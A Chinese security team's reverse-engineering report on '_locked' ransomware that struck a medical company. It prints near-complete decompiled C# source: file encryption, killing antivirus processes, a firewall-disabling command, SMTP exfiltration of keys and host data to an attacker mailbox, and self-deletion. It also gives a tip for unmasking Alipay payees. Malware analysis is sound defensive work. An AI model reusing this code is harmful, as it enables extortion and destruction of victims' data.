1.背景
近期,Solar团队应某医疗公司的请求提供援助,该公司的计算机服务器受到了_locked勒索病毒的侵害,所有的文件被加密并且添加了_locked后缀,并且释放了中文勒索信,留下了支付宝收款码作为勒索赎金支付通道,通过我们的应急响应团队进行深入的溯源调查,应客户的要求,本文暂未提供对入侵溯源的分析报告内容,仅提供该勒索病毒加密器的逆向分析报告。
2.溯源分析
2.1 恶意行为
执行后会释放以下三个文件:
- libadvpack.dll
- 重要資訊.txt
- 收款碼<时间>.jpg
访问外部链接:
- api.ipify.org #用于获取互联网IP
- smtp-mail.outlook.com #用于smtp发件
- 104.26.13.205 #CDN
- 52.98.54.134 #CDN
2.2 溯源流程
对收款码进行溯源,账号属于一位年长女性,判断应该为通过渠道购买的黑号。
Tips:使用支付宝付款的时候,选择四大行以外的银行卡进行转账,然后再通过该银行的APP进行转账明细查询,大部分可以看到对方的真实名字。
逆向加密器,会发现加密信息通过SMTP协议发送邮件至黑客匿名邮箱,由于SMTP协议是发件协议,因此即使能够登陆也无法查看已发邮件。
修改发件、收件地址后会收到以下邮件,包含计算机的基本信息、机密文件数量以及密码,由于此outlook邮箱的辅助邮箱为匿名注册邮箱,故无法通过该线索继续溯源。
3.恶意文件基础信息
3.1 加密器基本信息
大小 | 404480(395.00 KiB) |
操作系统 | Windows(2000) |
架构 | I386 |
模式 | 32 位 |
类型 | GUI |
字节序 | LE |
MD5 | 1edc74dee16a67e94512c59d899b63bd |
SHA256 | 0566ce83e0ab2b58f5247845d5ae075e5f046d7eb49bb019c9a4aead8337a5cf |
3.2 勒索信
注意!
你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。
恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。
想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。
為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com
並免費解密一個檔案。但是這個檔應該沒有價值!
警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。
請注意!!!解密工具在24小時內的時間內可用。你的個人id是:
=================================================================================
R1AyMTB3ZnZ4MExuOTZaUWk5WVdXV2ZwSzZyR0tPSzZSWVNOYzdZWnhaMTZEZ0poMmJWK1BxMkFWcnZXWlFNS3NwL1lNcEFLVVpYNW9ibDVTUXFadHJIZmc2TFVsMGFqQjV5dHd2YXJoRmhxUTdtSk5QNi9XQi83ek9MUVJCYWc5b0NoMm1JVy9sREtqallqaW52RnN2RVFjVXE4bmpEK2lVWnJWK1B1NWlHRkhGTVZaMGF2bnQ5T2REK1E0Zm56MEpYSTUvK0dDQk04WnZGMU5ZcUgvV2tHSHZmdXc4eEpGSTd0TzNjSkhBRzd2OGpYVEI0QnNKb0FBUEVVWC9wcUpBMFFqeGFvMmk5ck94Yms5QjhxQXhTeXBmVExyeEtjS2orWDdVekUzcHo2U3RYMWMwZ2dpcUI0UFBmRlN4bUZkR05vUmVTTVN6Vm5GMEhPNGFWbTgxMEJJc3AvVEJUWE04NVJteWg4MXpYRUY1RmsrbnYxZTBHSVBDMkFUR3NIbFA5cE1oYVBhVFB4L28rUENvN2lGekRZQXh2bDBPdG94S2Q2ZnB2ZlFuUmI4cXhLcjZPTzBZbDYxR1pLcnFEZU1EeGNVems2RURITWFtaldhZERLN2NYNEhQcWJCRTNqYVE1L215M0x5TEZTa3N2cTRWdnk1UTJzOThhd1p3VW4=
3.3 勒索图片
4.恶意文件分析
4.1 威胁分析
病毒家族 | Locked(疑似国内) |
首次出现时间/捕获分析时间 | 2024/01/18 || 2024/03/12 |
威胁类型 | 勒索软件,加密病毒 |
加密文件扩展名 | .locked |
勒索信文件名 | 重要資訊.txt |
有无免费解密器? | 无 |
联系邮箱 | ac7d33419d00c1d9@tutanota.com |
检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
4.2加密前后对比
加密的测试文件为1.txt
,具体内容如下:
经过木马加密之后如下:
文件后缀加了_locked,文件大小不变,运行多次加密木马加密同一文件之后,由于id不同,加密后的文件内容也不相同。
5.逆向分析
文件本身为.NET
程序,但是使用了.NET Reactor(4.5-4.7)
进行了保护,使用工具去掉保护。
使用工具de4dot_mod
(https://github.com/HongThatCong/de4dot_mod)去掉.NET Reactor(4.5-4.7)
保护。
5.1 去掉保护的文件信息
大小 | 262144(256.00 KiB) |
操作系统 | Windows(95) |
架构 | I386 |
模式 | 32 位 |
类型 | GUI |
字节序 | LE |
MD5 | c1c8e31ec3e906c026644034b27d5ce7 |
SHA256 | 278886a3ca2ac8669fca57eeb2ad3db17f7878a3865e1852a23655330406fb23 |
库 | .NET(v4.0.30319)[-] |
链接程序 | Microsoft Linker(6.0)[GUI32] |
5.2 .NET逆向分析
5.2.1 函数Base64ToImage
将Base64编码的图像数据转换为图像文件并保存到指定路径的方法,输出收款码保存在桌面。
public static bool Base64ToImage(string base64, string userName)
{
try
{
base64 = base64.Replace("", "").Replace("data:image/jgp;base64,", "").Replace("data:image/jpg;base64,", "")
.Replace("", "");
byte[] buffer = Convert.FromBase64String(base64);
MemoryStream stream = new MemoryStream(buffer);
Image original = Image.FromStream(stream);
Bitmap bitmap = new Bitmap(original);
bitmap.Save("C:/Users/" + userName + "/Desktop/收款碼" + DateTime.Now.ToString("yyyyMMddHHss") + ".jpg", ImageFormat.Jpeg);
return true;
}
catch (SmtpException)
{
return false;
}
}
5.2.2 函数CreatePassword
CreatePassword
方法用于生成指定长度的随机密码。它使用 StringBuilder
来高效地构建密码,通过从小写字母、大写字母和数字(0-9)的集合中随机选择字符来生成密码。
public static string CreatePassword(int length)
{
StringBuilder stringBuilder = new StringBuilder();
Random random = new Random();
while (0 < length--)
{
stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".Length)]);
}
return stringBuilder.ToString();
}
5.2.3 函数GetHardDiskSerialNumber
这段代码是用于获取硬盘序列号的方法。该方法使用 System.Management
命名空间,通过查询 Win32_PhysicalMedia
类来获取物理媒体(硬盘)的相关信息。
using System.Management;
public static string GetHardDiskSerialNumber()
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_PhysicalMedia");
string result = "";
using (ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator())
{
if (managementObjectEnumerator.MoveNext())
{
ManagementObject managementObject = (ManagementObject)managementObjectEnumerator.Current;
result = managementObject["SerialNumber"].ToString().Trim();
}
}
return result;
}
5.2.4 函数GetHardDiskSpace
这段代码是用于获取指定硬盘的总可用空间的方法。
public static long GetHardDiskSpace(string str_HardDiskName)
{
long result = 0L;
str_HardDiskName += ":\\";
DriveInfo[] drives = DriveInfo.GetDrives();
DriveInfo[] array = drives;
foreach (DriveInfo driveInfo in array)
{
if (driveInfo.Name == str_HardDiskName)
{
result = driveInfo.TotalFreeSpace / 1048576L;
}
}
return result;
}
5.2.5 函数Log
日志函数。
public static void Log(string message)
{
if (string.IsNullOrEmpty(Settables.LOGURL))
{
return;
}
string text = Environment.MachineName + "-" + Environment.UserName + " : " + message;
string urlString = Settables.LOGURL + text;
if (!penetratedFirewall)
{
return;
}
using WebBrowser webBrowser = new WebBrowser();
webBrowser.Navigate(urlString);
while (webBrowser.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();
}
}
5.2.6 函数PenetrateFirewall
检测是否可以连接互联网,若访问http://www.websitetest.com/
失败则关闭防火墙。
public static bool PenetrateFirewall()
{
using WebClient webClient = new WebClient();
try
{
webClient.DownloadString("http://www.websitetest.com/");
return true;
}
catch
{
try
{
Process process = new Process();
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "netsh firewall set opmode disable";
process.StartInfo = processStartInfo;
process.Start();
process.WaitForExit();
return true;
}
catch
{
return false;
}
}
}
5.2.7 函数SendEmail
过SMTP发送电子邮件的方法。
public static bool SendEmail(string mailTo, string mailTitle, string mailContent)
{
string host = "smtp-mail.outlook.com";
string text = "ca89a16780424771@outlook.com";
string password = "b418345887e598be";
SmtpClient smtpClient = new SmtpClient();
smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
smtpClient.Host = host;
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = true;
smtpClient.Credentials = new NetworkCredential(text, password);
MailMessage mailMessage = new MailMessage(text, mailTo);
mailMessage.Subject = mailTitle;
mailMessage.Body = mailContent;
mailMessage.BodyEncoding = Encoding.UTF8;
mailMessage.IsBodyHtml = false;
mailMessage.Priority = MailPriority.Normal;
string text2 = "c:\\temp\\libadvpack.dll";
Attachment attachment = new Attachment(text2);
attachment.Name = Path.GetFileName(text2);
attachment.NameEncoding = Encoding.GetEncoding("gb2312");
attachment.TransferEncoding = TransferEncoding.Base64;
attachment.ContentDisposition.Inline = true;
attachment.ContentDisposition.DispositionType = "inline";
_ = attachment.ContentId;
mailMessage.Attachments.Add(attachment);
try
{
smtpClient.Send(mailMessage);
return true;
}
catch (SmtpException)
{
return false;
}
}
5.2.8 函数smethod_0
用于获取当前设备的公共IP地址的方法。
public static string smethod_0()
{
try
{
using WebClient webClient = new WebClient();
string text = webClient.DownloadString("https://api.ipify.org");
return "ip:" + text;
}
catch
{
return "";
}
}
5.2.9 函数messageCreator
创建勒索文本与勒索文件,其中method_3
函数返回勒索图片对应的base64编码。
public void messageCreator(string setpasth, string setstr)
{
try
{
string[] contents = new string[19]
{
"注意!", "", "你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。", "", "恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。", "", "想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。", "", "為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com", "",
"並免費解密一個檔案。但是這個檔應該沒有價值!", "", "警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。", "", "請注意!!!解密工具在24小時內的時間內可用。你的個人id是:", "", "=================================================================================", "", setstr
};
string text = "\\重要資訊.txt";
string path = setpasth + text;
File.WriteAllLines(path, contents);
Common.Base64ToImage(method_3(), string_1);
}
catch (SystemException ex)
{
Common.Writelog("messageCreator=" + ex.Message);
}
}
5.2.10 函数startAction
在程序中使用base64编码存放了RSA公钥,提取可得。
-----BEGIN CERTIFICATE-----
PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVK
a2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09i
L3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FR
amYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNI
Yz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFs
dWU+
-----END CERTIFICATE-----
public void startAction()
{
try
{
KillProces360();
string text = string_5 + "LOCK" + string_6;
byte[] bytes = Convert.FromBase64String("PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVKa2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09iL3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FRamYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNIYz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+");
string @string = Encoding.Default.GetString(bytes);
string s = Encrypts.RsaEncrypt(text, @string);
byte[] bytes2 = Encoding.UTF8.GetBytes(s);
s = Convert.ToBase64String(bytes2);
Common.WritePasswdlog(s);
string text2 = "\\Desktop\\";
string text3 = "\\Downloads\\";
string text4 = "\\Documents\\";
string text5 = "\\Pictures\\";
string text6 = string_3 + string_1 + text2;
string text7 = string_3 + string_1 + text3;
string text8 = string_3 + string_1 + text4;
string text9 = string_3 + string_1 + text5;
Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + "," + Common.smethod_0() + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s);
string[] logicalDrives = Directory.GetLogicalDrives();
string[] array = logicalDrives;
foreach (string text10 in array)
{
if (text10 == "C:\\")
{
encryptDirectory(text6, text);
encryptDirectory(text7, text);
encryptDirectory(text8, text);
encryptDirectory(text9, text);
messageCreator(text6, s);
messageCreator(text7, s);
messageCreator(text8, s);
messageCreator(text9, s);
}
if (text10 != "C:\\")
{
encryptDirectory(text10, text);
messageCreator(text10, s);
}
}
Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s);
text = null;
selfDestroy();
Application.Exit();
}
catch (SystemException ex)
{
Common.Writelog("startAction=" + ex.Message);
}
}
5.2.11 函数KillProces360
此函数的目标是终止与360安全卫士(360 Total Security)相关的进程,包括360tray.exe
、360sd.exe
、360rps.exe
、360rp.exe
和eptray.exe
。下文代码仅保留了关键逻辑。
// Gendarmerie_B.V._3.GendarmerieForm
using System;
using System.Diagnostics;
public void KillProces360()
{
Process[] processesByName = Process.GetProcessesByName("360tray.exe");
Process[] processesByName2 = Process.GetProcessesByName("360sd.exe");
Process[] processesByName3 = Process.GetProcessesByName("360rps.exe");
Process[] processesByName4 = Process.GetProcessesByName("360rp.exe");
Process[] processesByName5 = Process.GetProcessesByName("eptray.exe");
Process[] array = processesByName;
foreach (Process process in array) process.Kill();
array = processesByName2;
foreach (Process process in array) process.Kill();
array = processesByName3;
foreach (Process process in array) process.Kill();
array = processesByName4;
foreach (Process process in array) process.Kill();
array = processesByName5;
foreach (Process process in array) process.Kill();
}
5.2.12 函数KillProcesstaskmgr
关闭任务管理器进程。
public void KillProcesstaskmgr()
{
Process[] processesByName = Process.GetProcessesByName("taskmgr");
Process[] array = processesByName;
foreach (Process process in array) process.Kill();
}
5.2.13 函数encryptDirectory
对指定目录下的文件进行加密,source
数组包含了要考虑加密的文件扩展名列表,除一些系统目录,如 "Windows"、"Program Files" 和 "Program Files (x86)",排除文件重要資訊.txt
。
对文件调用不同的加密方式:
- 检查硬盘空间是否充足、文件大小是否小于等于50MB,若满足则调用
EncryptFile
- 检查硬盘空间是否充足、文件大小是否大于50MB,若满足则调用
AES_big_Encrypt
// Gendarmerie_B.V._3.GendarmerieForm
using System;
using System.IO;
using System.Linq;
public void encryptDirectory(string location, string password)
{
try
{
string[] source = new string[474]
{
"", ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg",
".jpeg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html",
".xml", ".psd", ".sql", ".mp4", ".7z", ".rar", ".m4a", ".wma", ".avi", ".wmv",
".csv", ".d3dbsp", ".zip", ".sie", ".sum", ".ibank", ".bak", ".t13", ".t12", ".qdf",
".gdb", ".tax", ".pkpass", ".bc6", ".dat", ".def", ".bc7", ".bkp", ".qic", ".bkf",
".sidn", ".sidd", ".mddata", ".itl", ".itdb", ".icxs", ".hvpl", ".hplg", ".hkdb", ".mdbackup",
".syncdb", ".gho", ".cas", ".svg", ".map", ".wmo", ".itm", ".sb", ".fos", ".mov",
".vdf", ".ztmp", ".sis", ".sid", ".ncf", ".menu", ".layout", ".dmp", ".blob", ".esm",
".vcf", ".vtf", ".dazip", ".fpk", ".mlx", ".kf", ".iwd", ".vpk", ".tor", ".psk",
".rim", ".w3x", ".fsh", ".ntl", ".arch00", ".lvl", ".snx", ".cfr", ".ff", ".vpp_pc",
".lrf", ".m2", ".mcmeta", ".vfs0", ".mpqge", ".kdb", ".db0", ".dba", ".rofl", ".hkx",
".bar", ".upk", ".das", ".iwi", ".litemod", ".asset", ".forge", ".ltx", ".bsa", ".apk",
".re4", ".sav", ".lbf", ".slm", ".bik", ".epk", ".rgss3a", ".pak", ".big", "wallet",
".wotreplay", ".xxx", ".desc", ".py", ".m3u", ".flv", ".js", ".css", ".rb", ".p7c",
".pk7", ".p7b", ".p12", ".pfx", ".pem", ".crt", ".cer", ".der", ".x3f", ".srw",
".pef", ".ptx", ".r3d", ".rw2", ".rwl", ".raw", ".raf", ".orf", ".nrw", ".mrwref",
".mef", ".erf", ".kdc", ".dcr", ".cr2", ".crw", ".bay", ".sr2", ".srf", ".arw",
".3fr", ".dng", ".jpe", ".jpg", ".cdr", ".indd", ".ai", ".eps", ".pdf", ".pdd",
".dbf", ".mdf", ".wb2", ".rtf", ".wpd", ".dxg", ".xf", ".dwg", ".pst", ".accdb",
".mdb", ".pptm", ".pptx", ".ppt", ".xlk", ".xlsb", ".xlsm", ".wps", ".docm", ".odb",
".odc", ".odm", ".odp", ".ods", ".odt", ".cs", ".lnk", ".mpeg", ".mp3", ".mkv",
".divx", ".ogg", ".zip", ".wav", ".bat", ".index", ".shp", ".gdbtable", ".gdbindexes", ".pos",
".gps", ".ipynb", ".rdata", ".rda", ".atx", ".gdb", ".spx", "rde", ".rrd", ".img",
".mxd", ".rm", ".mid", ".rtf", ".tif", ".gif", ".pic", ".aif", ".au", ".ram",
".mmf", ".amr", ".aac", ".flac", ".mpg", ".swf", ".dll", ".int", ".com", ".c",
".asm", ".for", ".lib", ".lst", ".msg", ".obj", ".pas", ".wki", ".bas", ".java",
".dot", ".abk", ".aps", ".ace", ".art", ".au", ".avr", ".class", ".cls", ".dcm",
".dxf", ".m4v", ".mpp", ".pcm", ".tiff", ".jio", ".dbb", ".aid", ".cpx", ".jiff",
".vod", ".njx", ".pcb", ".pm5", ".ps", ".pub", ".vbs", ".out", ".ofd", ".idf",
".rep", ".exb", ".sea", ".wrl", ".dwf", ".max", ".vsd", ".skp", ".jssx", ".arc",
".config", ".fcpx", ".avb", ".mb", ".ma", ".blend", ".r", ".qbw", ".qbb", ".ofx",
".qfx", ".qif", ".plt", ".seq", ".prj", ".m", ".h", ".c", ".cpp", ".cpp",
".gdf", ".exe", ".tsp", ".au", ".vmdk", ".nvram", ".pvm", ".vmx", ".sesx", ".logicx",
".rvt", ".ifc", ".sldprt", ".sldasm", ".rmvb", ".rm", ".m3u8", ".ms16", ".ms15", ".ms14",
".ms13", ".ms12", ".ms11", ".ms10", ".ms9", ".ms8", ".ms7", ".asc", ".neu", ".net",
".cam", ".min", ".pcbdoc", ".tgz", ".xlxs", ".mat", ".crm", ".plc", ".egd", ".dsn",
".brd", ".cir", ".prt", ".drw", ".asm", ".frm", ".mfg", ".sec", ".cat", ".catp",
".catpart", ".catporduct", ".catdrawing", ".catshape", ".catanalysis", ".scada", ".step", ".stp", ".igs", ".ipt",
".cgr", ".req", ".res", ".gra", ".hm", ".db", ".emat", ".esav", ".rst", ".rth",
".rmg", ".out", ".snn", ".pm", ".t", ".xsr", ".gen", ".mgb", ".gts", ".mcb",
".emf", ".nc", ".cnc", ".bd1", ".bd2", ".bd3", ".bf1", ".bf2", ".bf3", ".bmk",
".fn", ".dxf", ".zmx", ".zar", ".zda", ".edu", ".lab", ".sage", ".mw", ".lg4",
".lng", ".ldt", ".ltf", ".lgr", ".tps", ".sav", ".sps", ".cds", ".cdx", ".cdxml",
".chm", ".d", ".prproj", ".pre", ".aln", ".bw", ".inp", ".xdr", ".pug", ".spm",
".lvm", ".tdms", ".es3", ".ebs3", ".edat3", "emrg3", "epk3", ".es2", ".ebs2", ".edat2",
".emrg2", ".kdy", ".ufd", ".kdb", ".kdbx", ".kf5", ".qkg", ".kdb33", ".nc", ".u8",
".fd", ".bqy", ".ad", ".dgn", ".ttxt", ".3dm", ".zpr", ".cpt", ".onenote", ".note",
".enex", ".md", ".edi", ".vcard"
};
string[] array = location.Split(':');
long hardDiskSpace = Common.GetHardDiskSpace(array[0].ToString());
string[] files = Directory.GetFiles(location);
string[] directories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++)
{
KillProcesstaskmgr();
KillProces360();
string extension = Path.GetExtension(files[i]);
if (source.Contains(extension.ToLower()))
{
FileInfo fileInfo = new FileInfo(files[i]);
long num = fileInfo.Length / 1048576L;
if (hardDiskSpace >= 0L && num <= 50L && fileInfo.Name != "重要資訊.txt")
{
Encrypts.EncryptFile(files[i], password);
int_1++;
}
if (hardDiskSpace >= 0L && num > 50L && fileInfo.Name != "重要資訊.txt")
{
Encrypts.AES_big_Encrypt(files[i], password);
int_1++;
}
}
}
for (int i = 0; i < directories.Length; i++)
{
if (!directories[i].Contains("Windows") && !directories[i].Contains("Program Files") && !directories[i].Contains("Program Files (x86)"))
{
encryptDirectory(directories[i], password);
}
}
}
catch (SystemException ex)
{
Common.Writelog("encryptDirectory=" + ex.Message);
}
}
5.2.14 函数EncryptFile&AES_big_Encrypt
EncryptFile
方法:
- 从指定文件中读取字节内容
- 将密码字符串转换为字节数组,并对其进行 SHA-256 哈希处理
- 使用
smethod_0
方法对文件内容进行 AES 加密 - 将加密后的字节数据写回原始文件,并在文件名末尾添加扩展名 "._locked"
AES_big_Encrypt
方法:
- 生成一个随机的 salt(盐)值
- 创建一个新的文件流,并将 salt 写入文件开头。
- 将密码字符串转换为字节数组,并使用 PBKDF2 算法生成密钥和 IV
- 使用密钥和 IV 对文件内容进行 AES 加密,并将加密后的数据写入文件
public static void EncryptFile(string file, string password)
{
byte[] byte_ = File.ReadAllBytes(file);
byte[] bytes = Encoding.UTF8.GetBytes(password);
bytes = SHA256.Create().ComputeHash(bytes);
byte[] bytes2 = smethod_0(byte_, bytes);
try
{
File.WriteAllBytes(file, bytes2);
string text = "._locked";
File.Move(file, file + text);
}
catch (Exception)
{
}
}
private static byte[] smethod_0(byte[] byte_0, byte[] byte_1)
{
byte[] result = null;
byte[] salt = new byte[8] { 1, 1, 2, 2, 3, 3, 4, 4 };
using (MemoryStream memoryStream = new MemoryStream())
{
using RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(byte_1, salt, 1000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(byte_0, 0, byte_0.Length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
return result;
}
public static void AES_big_Encrypt(string inputFile, string password)
{
byte[] array = GenerateRandomSalt();
FileStream fileStream = new FileStream(inputFile + "._locked", FileMode.Create);
byte[] bytes = Encoding.UTF8.GetBytes(password);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
rijndaelManaged.Padding = PaddingMode.PKCS7;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CFB;
fileStream.Write(array, 0, array.Length);
CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
byte[] array2 = new byte[1048576];
try
{
int count;
while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0)
{
Application.DoEvents();
cryptoStream.Write(array2, 0, count);
}
fileStream2.Close();
}
catch (Exception)
{
}
finally
{
cryptoStream.Close();
fileStream.Close();
File.Delete(inputFile);
}
}
5.2.15 函数RsaEncrypt
这段代码实现了使用 RSA 公钥对输入数据进行加密的功能。
public static string RsaEncrypt(string rawInput, string publicKey)
{
if (string.IsNullOrEmpty(rawInput))
{
return string.Empty;
}
if (string.IsNullOrWhiteSpace(publicKey))
{
throw new ArgumentException("Invalid Public Key");
}
using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider();
byte[] bytes = Encoding.UTF8.GetBytes(rawInput);
rSACryptoServiceProvider.FromXmlString(publicKey);
int num = rSACryptoServiceProvider.KeySize / 8 - 11;
byte[] array = new byte[num];
using MemoryStream memoryStream = new MemoryStream(bytes);
using MemoryStream memoryStream2 = new MemoryStream();
while (true)
{
int num2 = memoryStream.Read(array, 0, num);
if (num2 <= 0)
{
break;
}
byte[] array2 = new byte[num2];
Array.Copy(array, 0, array2, 0, num2);
byte[] array3 = rSACryptoServiceProvider.Encrypt(array2, fOAEP: false);
memoryStream2.Write(array3, 0, array3.Length);
}
return Convert.ToBase64String(memoryStream2.ToArray());
}
5.2.16 对象GendarmerieForm的初始函数
初始化了相关的配置信息。
public GendarmerieForm()
{
Class3.KCdZb3Mzn9Yjk();
int_0 = 30;
int_1 = 0;
string_0 = "http://127.0.0.1/Server/write.php";
string_1 = smethod_0();
string_2 = Environment.MachineName.ToString();
string_3 = "C:\\Users\\";
string_4 = "http://127.0.0.1/Server/ranso2.jpg";
string_5 = Common.CreatePassword(255);
string_6 = Common.GetHardDiskSerialNumber();
icontainer_0 = null;
base..ctor();
vunlKygwQ();
}
5.2.17 函数selfDestroy
自毁函数,用于删除当前正在运行的应用程序的可执行文件。
public void selfDestroy()
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.Arguments = "/C timeout 2 && Del /Q /F " + Application.ExecutablePath;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.FileName = "cmd.exe";
Process.Start(processStartInfo);
}
5.2.18 函数SendPassword
向指定域名发送相关信息。
public void SendPassword(string password)
{
try
{
string text = "?computer_name=" + string_2 + "&userName=" + string_1 + "&password=" + password + "&allow=ransom";
string address = string_0 + text;
new WebClient().DownloadString(address);
}
catch (Exception)
{
}
}
6.病毒分析概览
木马从startAction
函数启动,首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密之后即为私人i
,调用成员函数encryptDirectory
加密目录以及子目录,函数中拥有一个白名单,只有在白名单中的后缀文件才会被加密,同时排除了系统关键目录与勒索信的加密。
根据文件的大小选择不同的加密方式调用EncryptFile
或者AES_big_Encrypt
函数进行加密,同时木马会进行网络通信,向相关域名发送加密的有关信息,虽然在分析时存在自删除代码,但是实际运行时并没有触发自删除。
7.总结
程序本身的逆向难度不大,仅使用了Reactor
对C#
程序进行了保护,解除保护后,程序的逻辑无混淆与任何其他保护
程序在启动之后首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密,程序破解的主要难度就在此处,由于我们无法得知程序设计者的RSA私钥,在程序从内存中移除之后,我们无法得知随机生成的AES密钥,无法恢复文件